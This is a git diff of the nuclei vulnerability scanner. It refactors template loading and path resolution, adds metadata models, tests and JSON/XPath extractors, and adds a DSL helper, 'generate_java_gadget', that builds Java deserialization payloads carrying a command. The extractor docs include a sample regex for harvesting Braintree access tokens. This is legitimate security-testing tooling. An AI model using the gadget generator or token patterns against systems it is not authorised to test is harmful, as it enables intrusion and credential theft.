loadedTemplates := make([]*templates.Template, 0, len(templatePathMap))
for templatePath := range templatePathMap {
loaded, err := parsers.LoadTemplate(templatePath, store.tagFilter, nil)
if err != nil {
gologger.Warning().Msgf("Could not load template %s: %s\n", templatePath, err)
}
if loaded {
parsed, err := templates.Parse(templatePath, store.preprocessor, store.config.ExecutorOptions)
if err != nil {
gologger.Warning().Msgf("Could not parse template %s: %s\n", templatePath, err)
} else if parsed != nil {
loadedTemplates = append(loadedTemplates, parsed)
}
}
}
return loadedTemplates
}
// LoadWorkflows takes a list of workflows and returns paths for them
func (store *Store) LoadWorkflows(workflowsList []string) []*templates.Template {
includedWorkflows := store.config.Catalog.GetTemplatesPath(workflowsList)
workflowPathMap := store.pathFilter.Match(includedWorkflows)
loadedWorkflows := make([]*templates.Template, 0, len(workflowPathMap))
for workflowPath := range workflowPathMap {
loaded, err := parsers.LoadWorkflow(workflowPath, store.tagFilter)
if err != nil {
gologger.Warning().Msgf("Could not load workflow %s: %s\n", workflowPath, err)
}
if loaded {
parsed, err := templates.Parse(workflowPath, store.preprocessor, store.config.ExecutorOptions)
if err != nil {
gologger.Warning().Msgf("Could not parse workflow %s: %s\n", workflowPath, err)
} else if parsed != nil {
loadedWorkflows = append(loadedWorkflows, parsed)
}
}
}
return loadedWorkflows
}

40
v2/pkg/catalog/loader/loader_test.go Normal file
View File

@ -0,0 +1,40 @@
package loader
import (
"testing"
"github.com/stretchr/testify/require"
)
func TestLoadTemplates(t *testing.T) {
store, err := New(&Config{
Templates: []string{"cves/CVE-2021-21315.yaml"},
})
require.Nil(t, err, "could not load templates")
require.Equal(t, []string{"cves/CVE-2021-21315.yaml"}, store.finalTemplates, "could not get correct templates")
templatesDirectory := "/test"
t.Run("blank", func(t *testing.T) {
store, err := New(&Config{
TemplatesDirectory: templatesDirectory,
})
require.Nil(t, err, "could not load templates")
require.Equal(t, []string{templatesDirectory}, store.finalTemplates, "could not get correct templates")
})
t.Run("only-tags", func(t *testing.T) {
store, err := New(&Config{
Tags: []string{"cves"},
TemplatesDirectory: templatesDirectory,
})
require.Nil(t, err, "could not load templates")
require.Equal(t, []string{templatesDirectory}, store.finalTemplates, "could not get correct templates")
})
t.Run("tags-with-path", func(t *testing.T) {
store, err := New(&Config{
Tags: []string{"cves"},
TemplatesDirectory: templatesDirectory,
})
require.Nil(t, err, "could not load templates")
require.Equal(t, []string{templatesDirectory}, store.finalTemplates, "could not get correct templates")
})
}

10
v2/pkg/catalog/path.go
View File

@ -3,9 +3,7 @@ package catalog
import (
"fmt"
"os"
"path"
"path/filepath"
"strings"
)
// ResolvePath resolves the path to an absolute one in various ways.
@ -14,12 +12,12 @@ import (
// or checking the nuclei templates directory. If a second path is given,
// it also tries to find paths relative to that second path.
func (c *Catalog) ResolvePath(templateName, second string) (string, error) {
if strings.HasPrefix(templateName, "/") || strings.Contains(templateName, ":\\") {
if filepath.IsAbs(templateName) {
return templateName, nil
}
if second != "" {
secondBasePath := path.Join(filepath.Dir(second), templateName)
secondBasePath := filepath.Join(filepath.Dir(second), templateName)
if _, err := os.Stat(secondBasePath); !os.IsNotExist(err) {
return secondBasePath, nil
}
@ -30,13 +28,13 @@ func (c *Catalog) ResolvePath(templateName, second string) (string, error) {
return "", err
}
templatePath := path.Join(curDirectory, templateName)
templatePath := filepath.Join(curDirectory, templateName)
if _, err := os.Stat(templatePath); !os.IsNotExist(err) {
return templatePath, nil
}
if c.templatesDirectory != "" {
templatePath := path.Join(c.templatesDirectory, templateName)
templatePath := filepath.Join(c.templatesDirectory, templateName)
if _, err := os.Stat(templatePath); !os.IsNotExist(err) {
return templatePath, nil
}

153
v2/pkg/model/model.go Normal file
View File

@ -0,0 +1,153 @@
package model
import (
"encoding/json"
"fmt"
"strings"
"github.com/alecthomas/jsonschema"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/projectdiscovery/nuclei/v2/pkg/utils"
)
// Info contains metadata information about a template
type Info struct {
// description: |
// Name should be good short summary that identifies what the template does.
//
// examples:
// - value: "\"bower.json file disclosure\""
// - value: "\"Nagios Default Credentials Check\""
Name string `json:"name,omitempty" yaml:"name,omitempty" jsonschema:"title=name of the template,description=Name is a short summary of what the template does,example=Nagios Default Credentials Check"`
// description: |
// Author of the template.
//
// examples:
// - value: "\"<username>\""
Authors StringSlice `json:"author,omitempty" yaml:"author,omitempty" jsonschema:"title=author of the template,description=Author is the author of the template,example=username"`
// description: |
// Any tags for the template.
//
// Multiple values can also be specified separated by commas.
//
// examples:
// - name: Example tags
// value: "\"cve,cve2019,grafana,auth-bypass,dos\""
Tags StringSlice `json:"tags,omitempty" yaml:"tags,omitempty" jsonschema:"title=tags of the template,description=Any tags for the template"`
// description: |
// Description of the template.
//
// You can go in-depth here on what the template actually does.
//
// examples:
// - value: "\"Bower is a package manager which stores packages informations in bower.json file\""
// - value: "\"Subversion ALM for the enterprise before 8.8.2 allows reflected XSS at multiple locations\""
Description string `json:"description,omitempty" yaml:"description,omitempty" jsonschema:"title=description of the template,description=In-depth explanation on what the template does,example=Bower is a package manager which stores packages informations in bower.json file"`
// description: |
// References for the template.
//
// This should contain links relevant to the template.
//
// examples:
// - value: >
// []string{"https://github.com/strapi/strapi", "https://github.com/getgrav/grav"}
Reference StringSlice `json:"reference,omitempty" yaml:"reference,omitempty" jsonschema:"title=references for the template,description=Links relevant to the template"`
// description: |
// Severity of the template.
//
// values:
// - info
// - low
// - medium
// - high
// - critical
SeverityHolder severity.SeverityHolder `json:"severity,omitempty" yaml:"severity,omitempty"`
// description: |
// AdditionalFields regarding metadata of the template.
//
// examples:
// - value: >
// map[string]string{"customField1":"customValue1"}
AdditionalFields map[string]string `json:"additional-fields,omitempty" yaml:"additional-fields,omitempty" jsonschema:"title=additional metadata for the template,description=Additional metadata fields for the template"`
}
// StringSlice represents a single (in-lined) or multiple string value(s).
// The unmarshaller does not automatically convert in-lined strings to []string, hence the interface{} type is required.
type StringSlice struct {
Value interface{}
}
func (stringSlice StringSlice) JSONSchemaType() *jsonschema.Type {
gotType := &jsonschema.Type{
OneOf: []*jsonschema.Type{{Type: "string"}, {Type: "array"}},
}
return gotType
}
func (stringSlice *StringSlice) IsEmpty() bool {
return len(stringSlice.ToSlice()) == 0
}
func (stringSlice StringSlice) ToSlice() []string {
switch value := stringSlice.Value.(type) {
case string:
return []string{value}
case []string:
return value
case nil:
return []string{}
default:
panic(fmt.Sprintf("Unexpected StringSlice type: '%T'", value))
}
}
func (stringSlice StringSlice) String() string {
return strings.Join(stringSlice.ToSlice(), ", ")
}
func (stringSlice *StringSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {
marshalledSlice, err := marshalStringToSlice(unmarshal)
if err != nil {
return err
}
result := make([]string, 0, len(marshalledSlice))
//nolint:gosimple,nolintlint //cannot be replaced with result = append(result, slices...) because the values are being normalized
for _, value := range marshalledSlice {
result = append(result, strings.ToLower(strings.TrimSpace(value))) // TODO do we need to introduce RawStringSlice and/or NormalizedStringSlices?
}
stringSlice.Value = result
return nil
}
func marshalStringToSlice(unmarshal func(interface{}) error) ([]string, error) {
var marshalledValueAsString string
var marshalledValuesAsSlice []string
sliceMarshalError := unmarshal(&marshalledValuesAsSlice)
if sliceMarshalError != nil {
stringMarshalError := unmarshal(&marshalledValueAsString)
if stringMarshalError != nil {
return nil, stringMarshalError
}
}
var result []string
if len(marshalledValuesAsSlice) > 0 {
result = marshalledValuesAsSlice
} else if utils.IsNotBlank(marshalledValueAsString) {
result = strings.Split(marshalledValueAsString, ",")
} else {
result = []string{}
}
return result, nil
}
func (stringSlice StringSlice) MarshalYAML() (interface{}, error) {
return stringSlice.Value, nil
}
func (stringSlice StringSlice) MarshalJSON() ([]byte, error) {
return json.Marshal(stringSlice.Value)
}

115
v2/pkg/model/model_test.go Normal file
View File

@ -0,0 +1,115 @@
package model
import (
"encoding/json"
"strings"
"testing"
"gopkg.in/yaml.v2"
"github.com/projectdiscovery/nuclei/v2/internal/severity"
"github.com/stretchr/testify/assert"
)
func TestInfoJsonMarshal(t *testing.T) {
info := Info{
Name: "Test Template Name",
Authors: StringSlice{[]string{"forgedhallpass", "ice3man"}},
Description: "Test description",
SeverityHolder: severity.SeverityHolder{Severity: severity.High},
Tags: StringSlice{[]string{"cve", "misc"}},
Reference: StringSlice{"reference1"},
}
result, err := json.Marshal(&info)
assert.Nil(t, err)
expected := `{"name":"Test Template Name","author":["forgedhallpass","ice3man"],"tags":["cve","misc"],"description":"Test description","reference":"reference1","severity":"high"}`
assert.Equal(t, expected, string(result))
}
func TestInfoYamlMarshal(t *testing.T) {
info := Info{
Name: "Test Template Name",
Authors: StringSlice{[]string{"forgedhallpass", "ice3man"}},
Description: "Test description",
SeverityHolder: severity.SeverityHolder{Severity: severity.High},
Tags: StringSlice{[]string{"cve", "misc"}},
Reference: StringSlice{"reference1"},
}
result, err := yaml.Marshal(&info)
assert.Nil(t, err)
expected := `name: Test Template Name
author:
- forgedhallpass
- ice3man
tags:
- cve
- misc
description: Test description
reference: reference1
severity: high
`
assert.Equal(t, expected, string(result))
}
func TestUnmarshal(t *testing.T) {
templateName := "Test Template"
authors := []string{"forgedhallpass", "ice3man"}
tags := []string{"cve", "misc"}
references := []string{"http://test.com", "http://domain.com"}
dynamicKey1 := "customDynamicKey1"
dynamicKey2 := "customDynamicKey2"
dynamicKeysMap := map[string]string{
dynamicKey1: "customDynamicValue1",
dynamicKey2: "customDynamicValue2",
}
assertUnmarshalledTemplateInfo := func(t *testing.T, yamlPayload string) Info {
info := Info{}
err := yaml.Unmarshal([]byte(yamlPayload), &info)
assert.Nil(t, err)
assert.Equal(t, info.Name, templateName)
assert.Equal(t, info.Authors.ToSlice(), authors)
assert.Equal(t, info.Tags.ToSlice(), tags)
assert.Equal(t, info.SeverityHolder.Severity, severity.Critical)
assert.Equal(t, info.Reference.ToSlice(), references)
assert.Equal(t, info.AdditionalFields, dynamicKeysMap)
return info
}
yamlPayload1 := `
name: ` + templateName + `
author: ` + strings.Join(authors, ", ") + `
tags: ` + strings.Join(tags, ", ") + `
severity: critical
reference: ` + strings.Join(references, ", ") + `
additional-fields:
` + dynamicKey1 + `: ` + dynamicKeysMap[dynamicKey1] + `
` + dynamicKey2 + `: ` + dynamicKeysMap[dynamicKey2] + `
`
yamlPayload2 := `
name: ` + templateName + `
author:
- ` + authors[0] + `
- ` + authors[1] + `
tags:
- ` + tags[0] + `
- ` + tags[1] + `
severity: critical
reference:
- ` + references[0] + ` # comments are not unmarshalled
- ` + references[1] + `
additional-fields:
` + dynamicKey1 + `: ` + dynamicKeysMap[dynamicKey1] + `
` + dynamicKey2 + `: ` + dynamicKeysMap[dynamicKey2] + `
`
info1 := assertUnmarshalledTemplateInfo(t, yamlPayload1)
info2 := assertUnmarshalledTemplateInfo(t, yamlPayload2)
assert.Equal(t, info1, info2)
}

12
v2/pkg/model/worflow_loader.go Normal file
View File

@ -0,0 +1,12 @@
package model
// TODO shouldn't this rather be TemplateLoader?
// WorkflowLoader is a loader interface required for workflow initialization.
type WorkflowLoader interface {
// GetTemplatePathsByTags returns a list of template paths based on the provided tags from the templates directory
GetTemplatePathsByTags(tags []string) []string
// GetTemplatePaths takes a list of templates and returns paths for them
GetTemplatePaths(templatesList []string, noValidate bool) []string
}

242
v2/pkg/operators/common/dsl/dsl.go
View File

@ -1,12 +1,12 @@
package dsl
import (
"bytes"
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"encoding/base64"
"encoding/hex"
"errors"
"fmt"
"html"
"math"
@ -17,6 +17,8 @@ import (
"time"
"github.com/Knetic/govaluate"
"github.com/projectdiscovery/gologger"
"github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/helpers/deserialization"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
"github.com/spaolacci/murmur3"
)
@ -29,113 +31,88 @@ const (
withMaxRandArgsSize = withCutSetArgsSize
)
// HelperFunctions contains the dsl helper functions
func HelperFunctions() map[string]govaluate.ExpressionFunction {
functions := make(map[string]govaluate.ExpressionFunction)
functions["len"] = func(args ...interface{}) (interface{}, error) {
var functions = map[string]govaluate.ExpressionFunction{
"len": func(args ...interface{}) (interface{}, error) {
length := len(types.ToString(args[0]))
return float64(length), nil
}
functions["toupper"] = func(args ...interface{}) (interface{}, error) {
},
"toupper": func(args ...interface{}) (interface{}, error) {
return strings.ToUpper(types.ToString(args[0])), nil
}
functions["tolower"] = func(args ...interface{}) (interface{}, error) {
},
"tolower": func(args ...interface{}) (interface{}, error) {
return strings.ToLower(types.ToString(args[0])), nil
}
functions["replace"] = func(args ...interface{}) (interface{}, error) {
},
"replace": func(args ...interface{}) (interface{}, error) {
return strings.ReplaceAll(types.ToString(args[0]), types.ToString(args[1]), types.ToString(args[2])), nil
}
functions["replace_regex"] = func(args ...interface{}) (interface{}, error) {
},
"replace_regex": func(args ...interface{}) (interface{}, error) {
compiled, err := regexp.Compile(types.ToString(args[1]))
if err != nil {
return nil, err
}
return compiled.ReplaceAllString(types.ToString(args[0]), types.ToString(args[2])), nil
}
functions["trim"] = func(args ...interface{}) (interface{}, error) {
return strings.Trim(types.ToString(args[0]), types.ToString(args[2])), nil
}
functions["trimleft"] = func(args ...interface{}) (interface{}, error) {
},
"trim": func(args ...interface{}) (interface{}, error) {
return strings.Trim(types.ToString(args[0]), types.ToString(args[1])), nil
},
"trimleft": func(args ...interface{}) (interface{}, error) {
return strings.TrimLeft(types.ToString(args[0]), types.ToString(args[1])), nil
}
functions["trimright"] = func(args ...interface{}) (interface{}, error) {
},
"trimright": func(args ...interface{}) (interface{}, error) {
return strings.TrimRight(types.ToString(args[0]), types.ToString(args[1])), nil
}
functions["trimspace"] = func(args ...interface{}) (interface{}, error) {
},
"trimspace": func(args ...interface{}) (interface{}, error) {
return strings.TrimSpace(types.ToString(args[0])), nil
}
functions["trimprefix"] = func(args ...interface{}) (interface{}, error) {
},
"trimprefix": func(args ...interface{}) (interface{}, error) {
return strings.TrimPrefix(types.ToString(args[0]), types.ToString(args[1])), nil
}
functions["trimsuffix"] = func(args ...interface{}) (interface{}, error) {
},
"trimsuffix": func(args ...interface{}) (interface{}, error) {
return strings.TrimSuffix(types.ToString(args[0]), types.ToString(args[1])), nil
}
functions["reverse"] = func(args ...interface{}) (interface{}, error) {
},
"reverse": func(args ...interface{}) (interface{}, error) {
return reverseString(types.ToString(args[0])), nil
}
},
// encoding
functions["base64"] = func(args ...interface{}) (interface{}, error) {
"base64": func(args ...interface{}) (interface{}, error) {
sEnc := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0])))
return sEnc, nil
}
},
// python encodes to base64 with lines of 76 bytes terminated by new line "\n"
functions["base64_py"] = func(args ...interface{}) (interface{}, error) {
"base64_py": func(args ...interface{}) (interface{}, error) {
sEnc := base64.StdEncoding.EncodeToString([]byte(types.ToString(args[0])))
return insertInto(sEnc, 76, '\n'), nil
}
functions["base64_decode"] = func(args ...interface{}) (interface{}, error) {
return deserialization.InsertInto(sEnc, 76, '\n'), nil
},
"base64_decode": func(args ...interface{}) (interface{}, error) {
return base64.StdEncoding.DecodeString(types.ToString(args[0]))
}
functions["url_encode"] = func(args ...interface{}) (interface{}, error) {
return url.PathEscape(types.ToString(args[0])), nil
}
functions["url_decode"] = func(args ...interface{}) (interface{}, error) {
return url.PathUnescape(types.ToString(args[0]))
}
functions["hex_encode"] = func(args ...interface{}) (interface{}, error) {
},
"url_encode": func(args ...interface{}) (interface{}, error) {
return url.QueryEscape(types.ToString(args[0])), nil
},
"url_decode": func(args ...interface{}) (interface{}, error) {
return url.QueryUnescape(types.ToString(args[0]))
},
"hex_encode": func(args ...interface{}) (interface{}, error) {
return hex.EncodeToString([]byte(types.ToString(args[0]))), nil
}
functions["hex_decode"] = func(args ...interface{}) (interface{}, error) {
},
"hex_decode": func(args ...interface{}) (interface{}, error) {
hx, _ := hex.DecodeString(types.ToString(args[0]))
return string(hx), nil
}
functions["html_escape"] = func(args ...interface{}) (interface{}, error) {
},
"html_escape": func(args ...interface{}) (interface{}, error) {
return html.EscapeString(types.ToString(args[0])), nil
}
functions["html_unescape"] = func(args ...interface{}) (interface{}, error) {
},
"html_unescape": func(args ...interface{}) (interface{}, error) {
return html.UnescapeString(types.ToString(args[0])), nil
}
},
// hashing
functions["md5"] = func(args ...interface{}) (interface{}, error) {
"md5": func(args ...interface{}) (interface{}, error) {
hash := md5.Sum([]byte(types.ToString(args[0])))
return hex.EncodeToString(hash[:]), nil
}
functions["sha256"] = func(args ...interface{}) (interface{}, error) {
},
"sha256": func(args ...interface{}) (interface{}, error) {
h := sha256.New()
_, err := h.Write([]byte(types.ToString(args[0])))
@ -143,9 +120,8 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
return nil, err
}
return hex.EncodeToString(h.Sum(nil)), nil
}
functions["sha1"] = func(args ...interface{}) (interface{}, error) {
},
"sha1": func(args ...interface{}) (interface{}, error) {
h := sha1.New()
_, err := h.Write([]byte(types.ToString(args[0])))
@ -153,27 +129,23 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
return nil, err
}
return hex.EncodeToString(h.Sum(nil)), nil
}
functions["mmh3"] = func(args ...interface{}) (interface{}, error) {
},
"mmh3": func(args ...interface{}) (interface{}, error) {
return fmt.Sprintf("%d", int32(murmur3.Sum32WithSeed([]byte(types.ToString(args[0])), 0))), nil
}
},
// search
functions["contains"] = func(args ...interface{}) (interface{}, error) {
"contains": func(args ...interface{}) (interface{}, error) {
return strings.Contains(types.ToString(args[0]), types.ToString(args[1])), nil
}
functions["regex"] = func(args ...interface{}) (interface{}, error) {
},
"regex": func(args ...interface{}) (interface{}, error) {
compiled, err := regexp.Compile(types.ToString(args[0]))
if err != nil {
return nil, err
}
return compiled.MatchString(types.ToString(args[1])), nil
}
},
// random generators
functions["rand_char"] = func(args ...interface{}) (interface{}, error) {
"rand_char": func(args ...interface{}) (interface{}, error) {
chars := letters + numbers
bad := ""
if len(args) >= 1 {
@ -184,15 +156,14 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
}
chars = trimAll(chars, bad)
return chars[rand.Intn(len(chars))], nil
}
functions["rand_base"] = func(args ...interface{}) (interface{}, error) {
},
"rand_base": func(args ...interface{}) (interface{}, error) {
l := 0
bad := ""
base := letters + numbers
if len(args) >= 1 {
l = args[0].(int)
l = int(args[0].(float64))
}
if len(args) >= withCutSetArgsSize {
bad = types.ToString(args[1])
@ -202,75 +173,100 @@ func HelperFunctions() map[string]govaluate.ExpressionFunction {
}
base = trimAll(base, bad)
return randSeq(base, l), nil
}
functions["rand_text_alphanumeric"] = func(args ...interface{}) (interface{}, error) {
},
"rand_text_alphanumeric": func(args ...interface{}) (interface{}, error) {
l := 0
bad := ""
chars := letters + numbers
if len(args) >= 1 {
l = args[0].(int)
l = int(args[0].(float64))
}
if len(args) >= withCutSetArgsSize {
bad = types.ToString(args[1])
}
chars = trimAll(chars, bad)
return randSeq(chars, l), nil
}
functions["rand_text_alpha"] = func(args ...interface{}) (interface{}, error) {
},
"rand_text_alpha": func(args ...interface{}) (interface{}, error) {
l := 0
bad := ""
chars := letters
if len(args) >= 1 {
l = args[0].(int)
l = int(args[0].(float64))
}
if len(args) >= withCutSetArgsSize {
bad = types.ToString(args[1])
}
chars = trimAll(chars, bad)
return randSeq(chars, l), nil
}
functions["rand_text_numeric"] = func(args ...interface{}) (interface{}, error) {
},
"rand_text_numeric": func(args ...interface{}) (interface{}, error) {
l := 0
bad := ""
chars := numbers
if len(args) >= 1 {
l = args[0].(int)
l = int(args[0].(float64))
}
if len(args) >= withCutSetArgsSize {
bad = types.ToString(args[1])
}
chars = trimAll(chars, bad)
return randSeq(chars, l), nil
}
functions["rand_int"] = func(args ...interface{}) (interface{}, error) {
},
"rand_int": func(args ...interface{}) (interface{}, error) {
min := 0
max := math.MaxInt32
if len(args) >= 1 {
min = args[0].(int)
min = int(args[0].(float64))
}
if len(args) >= withMaxRandArgsSize {
max = args[1].(int)
max = int(args[1].(float64))
}
return rand.Intn(max-min) + min, nil
}
},
// Time Functions
functions["waitfor"] = func(args ...interface{}) (interface{}, error) {
"waitfor": func(args ...interface{}) (interface{}, error) {
seconds := args[0].(float64)
time.Sleep(time.Duration(seconds) * time.Second)
return true, nil
}
},
// deserialization Functions
"generate_java_gadget": func(args ...interface{}) (interface{}, error) {
gadget := args[0].(string)
cmd := args[1].(string)
var encoding string
if len(args) > 2 {
encoding = args[2].(string)
}
data := deserialization.GenerateJavaGadget(gadget, cmd, encoding)
return data, nil
},
// for debug purposes
"print_debug": func(args ...interface{}) (interface{}, error) {
gologger.Info().Msgf("print_debug value: %s", fmt.Sprint(args))
return true, nil
},
}
// HelperFunctions returns the dsl helper functions
func HelperFunctions() map[string]govaluate.ExpressionFunction {
return functions
}
// AddHelperFunction allows creation of additiona helper functions to be supported with templates
func AddHelperFunction(key string, value func(args ...interface{}) (interface{}, error)) error {
if _, ok := functions[key]; !ok {
functions[key] = value
return nil
}
return errors.New("duplicate helper function key defined")
}
func reverseString(s string) string {
runes := []rune(s)
for i, j := 0, len(runes)-1; i < j; i, j = i+1, j-1 {
@ -293,17 +289,3 @@ func randSeq(base string, n int) string {
}
return string(b)
}
func insertInto(s string, interval int, sep rune) string {
var buffer bytes.Buffer
before := interval - 1
last := len(s) - 1
for i, char := range s {
buffer.WriteRune(char)
if i%interval == before && i != last {
buffer.WriteRune(sep)
}
}
buffer.WriteRune(sep)
return buffer.String()
}

19
v2/pkg/operators/common/dsl/dsl_test.go Normal file
View File

@ -0,0 +1,19 @@
package dsl
import (
"testing"
"github.com/stretchr/testify/require"
)
func TestDSLURLEncodeDecode(t *testing.T) {
functions := HelperFunctions()
encoded, err := functions["url_encode"]("&test\"")
require.Nil(t, err, "could not url encode")
require.Equal(t, "%26test%22", encoded, "could not get url encoded data")
decoded, err := functions["url_decode"]("%26test%22")
require.Nil(t, err, "could not url encode")
require.Equal(t, "&test\"", decoded, "could not get url decoded data")
}

14
v2/pkg/operators/extractors/compile.go
View File

@ -4,6 +4,8 @@ import (
"fmt"
"regexp"
"strings"
"github.com/itchyny/gojq"
)
// CompileExtractors performs the initial setup operation on a extractor
@ -28,6 +30,18 @@ func (e *Extractor) CompileExtractors() error {
e.KVal[i] = strings.ToLower(kval)
}
for _, query := range e.JSON {
query, err := gojq.Parse(query)
if err != nil {
return fmt.Errorf("could not parse json: %s", query)
}
compiled, err := gojq.Compile(query)
if err != nil {
return fmt.Errorf("could not compile json: %s", query)
}
e.jsonCompiled = append(e.jsonCompiled, compiled)
}
// Setup the part of the request to match, if any.
if e.Part == "" {
e.Part = "body"

73
v2/pkg/operators/extractors/extract.go
View File

@ -1,6 +1,12 @@
package extractors
import (
"strings"
"encoding/json"
"github.com/antchfx/htmlquery"
"github.com/projectdiscovery/nuclei/v2/pkg/types"
)
@ -42,3 +48,70 @@ func (e *Extractor) ExtractKval(data map[string]interface{}) map[string]struct{}
}
return results
}
// ExtractHTML extracts items from text using XPath selectors
func (e *Extractor) ExtractHTML(corpus string) map[string]struct{} {
results := make(map[string]struct{})
doc, err := htmlquery.Parse(strings.NewReader(corpus))
if err != nil {
return results
}
for _, k := range e.XPath {
nodes, err := htmlquery.QueryAll(doc, k)
if err != nil {
continue
}
for _, node := range nodes {
var value string
if e.Attribute != "" {
value = htmlquery.SelectAttr(node, e.Attribute)
} else {
value = htmlquery.InnerText(node)
}
if _, ok := results[value]; !ok {
results[value] = struct{}{}
}
}
}
return results
}
// ExtractJSON extracts text from a corpus using JQ queries and returns it
func (e *Extractor) ExtractJSON(corpus string) map[string]struct{} {
results := make(map[string]struct{})
var jsonObj interface{}
err := json.Unmarshal([]byte(corpus), &jsonObj)
if err != nil {
return results
}
for _, k := range e.jsonCompiled {
iter := k.Run(jsonObj)
for {
v, ok := iter.Next()
if !ok {
break
}
if _, ok := v.(error); ok {
break
}
var result string
if res, err := types.JSONScalarToString(v); err == nil {
result = res
} else if res, err := json.Marshal(v); err == nil {
result = string(res)
} else {
result = types.ToString(v)
}
if _, ok := results[result]; !ok {
results[result] = struct{}{}
}
}
}
return results
}

116
v2/pkg/operators/extractors/extractors.go
View File

@ -1,32 +1,108 @@
package extractors
import "regexp"
import (
"regexp"
"github.com/itchyny/gojq"
)
// Extractor is used to extract part of response using a regex.
type Extractor struct {
// Name is the extractor's name
Name string `yaml:"name,omitempty"`
// Type is the type of the extractor
Type string `yaml:"type"`
// description: |
// Name of the extractor. Name should be lowercase and must not contain
// spaces or dashes (-).
// examples:
// - value: "\"cookie-extractor\""
Name string `yaml:"name,omitempty" jsonschema:"title=name of the extractor,description=Name of the extractor"`
// description: |
// Type is the type of the extractor.
// values:
// - "regex"
// - "kval"
// - "json"
// - "xpath"
Type string `yaml:"type" jsonschema:"title=type of the extractor,description=Type of the extractor,enum=regex,enum=kval,enum=json,enum=xpath"`
// extractorType is the internal type of the extractor
extractorType ExtractorType
// Regex are the regex pattern required to be present in the response
Regex []string `yaml:"regex"`
// RegexGroup specifies a group to extract from the regex
RegexGroup int `yaml:"group"`
// description: |
// Regex contains the regular expression patterns to extract from a part.
//
// Go regex engine does not support lookaheads or lookbehinds, so as a result
// they are also not supported in nuclei.
// examples:
// - name: Braintree Access Token Regex
// value: >
// []string{"access_token\\$production\\$[0-9a-z]{16}\\$[0-9a-f]{32}"}
// - name: Wordpress Author Extraction regex
// value: >
// []string{"Author:(?:[A-Za-z0-9 -\\_=\"]+)?<span(?:[A-Za-z0-9 -\\_=\"]+)?>([A-Za-z0-9]+)<\\/span>"}
Regex []string `yaml:"regex,omitempty" jsonschema:"title=regex to extract from part,description=Regex to extract from part"`
// description: |
// Group specifies a numbered group to extract from the regex.
// examples:
// - name: Example Regex Group
// value: "1"
RegexGroup int `yaml:"group,omitempty" jsonschema:"title=group to extract from regex,description=Group to extract from regex"`
// regexCompiled is the compiled variant
regexCompiled []*regexp.Regexp
// KVal are the kval to be present in the response headers/cookies
KVal []string `yaml:"kval,omitempty"`
// Part is the part of the request to match
// description: |
// kval contains the key-value pairs required in the response.
//
// By default, matching is performed in request body.
Part string `yaml:"part,omitempty"`
// Internal defines if this is used internally
Internal bool `yaml:"internal,omitempty"`
// Each protocol exposes a lot of different data in response. The kval
// extractor can be used to extract those key-value pairs. A list of
// supported parts is available in docs for request types.
// examples:
// - name: Extract Server Header From HTTP Response
// value: >
// []string{"Server"}
// - name: Extracting value of PHPSESSID Cookie
// value: >
// []string{"PHPSESSID"}
KVal []string `yaml:"kval,omitempty" jsonschema:"title=kval pairs to extract from response,description=Kval pairs to extract from response"`
// description: |
// JSON allows using jq-style syntax to extract items from json response
//
// examples:
// - value: >
// []string{".[] | .id"}
// - value: >
// []string{".batters | .batter | .[] | .id"}
JSON []string `yaml:"json,omitempty" jsonschema:"title=json jq expressions to extract data,description=JSON JQ expressions to evaluate from response part"`
// description: |
// XPath allows using xpath expressions to extract items from html response
//
// examples:
// - value: >
// []string{"/html/body/div/p[2]/a"}
// - value: >
// []string{".batters | .batter | .[] | .id"}
XPath []string `yaml:"xpath,omitempty" jsonschema:"title=html xpath expressions to extract data,description=XPath allows using xpath expressions to extract items from html response"`
// description: |
// Attribute is an optional attribute to extract from response XPath.
//
// examples:
// - value: "\"href\""
Attribute string `yaml:"attribute,omitempty" jsonschema:"title=optional attribute to extract from xpath,description=Optional attribute to extract from response XPath"`
// jsonCompiled is the compiled variant
jsonCompiled []*gojq.Code
// description: |
// Part is the part of the request response to extract data from.
//
// Each protocol exposes a lot of different parts which are well
// documented in docs for each request type.
// examples:
// - value: "\"body\""
// - value: "\"raw\""
Part string `yaml:"part,omitempty" jsonschema:"title=part of response to extract data from,description=Part of the request response to extract data from"`
// description: |
// Internal, when set to true will allow using the value extracted
// in the next request for some protocols (like HTTP).
Internal bool `yaml:"internal,omitempty" jsonschema:"title=mark extracted value for internal variable use,description=Internal when set to true will allow using the value extracted in the next request for some protocols"`
}
// ExtractorType is the type of the extractor specified
@ -37,12 +113,18 @@ const (
RegexExtractor ExtractorType = iota + 1
// KValExtractor extracts responses with key:value
KValExtractor
// XPathExtractor extracts responses with Xpath selectors
XPathExtractor
// JSONExtractor extracts responses with json
JSONExtractor
)
// ExtractorTypes is an table for conversion of extractor type from string.
var ExtractorTypes = map[string]ExtractorType{
"regex": RegexExtractor,
"kval": KValExtractor,
"xpath": XPathExtractor,
"json": JSONExtractor,
}
// GetType returns the type of the matcher

121
v2/pkg/operators/matchers/matchers.go
View File

@ -8,36 +8,103 @@ import (
// Matcher is used to match a part in the output from a protocol.
type Matcher struct {
// Type is the type of the matcher
Type string `yaml:"type"`
// Condition is the optional condition between two matcher variables
// description: |
// Type is the type of the matcher.
// values:
// - "status"
// - "size"
// - "word"
// - "regex"
// - "binary"
// - "dsl"
Type string `yaml:"type" jsonschema:"title=type of matcher,description=Type of the matcher,enum=status,enum=size,enum=word,enum=regex,enum=dsl"`
// description: |
// Condition is the optional condition between two matcher variables. By default,
// the condition is assumed to be OR.
// values:
// - "and"
// - "or"
Condition string `yaml:"condition,omitempty" jsonschema:"title=condition between matcher variables,description=Condition between the matcher variables,enum=and,enum=or"`
// description: |
// Part is the part of the request response to match data from.
//
// By default, the condition is assumed to be OR.
Condition string `yaml:"condition,omitempty"`
// Each protocol exposes a lot of different parts which are well
// documented in docs for each request type.
// examples:
// - value: "\"body\""
// - value: "\"raw\""
Part string `yaml:"part,omitempty" jsonschema:"title=part of response to match,description=Part of response to match data from"`
// Part is the part of the data to match
Part string `yaml:"part,omitempty"`
// description: |
// Negative specifies if the match should be reversed
// It will only match if the condition is not true.
Negative bool `yaml:"negative,omitempty" jsonschema:"title=negative specifies if match reversed,description=Negative specifies if the match should be reversed. It will only match if the condition is not true"`
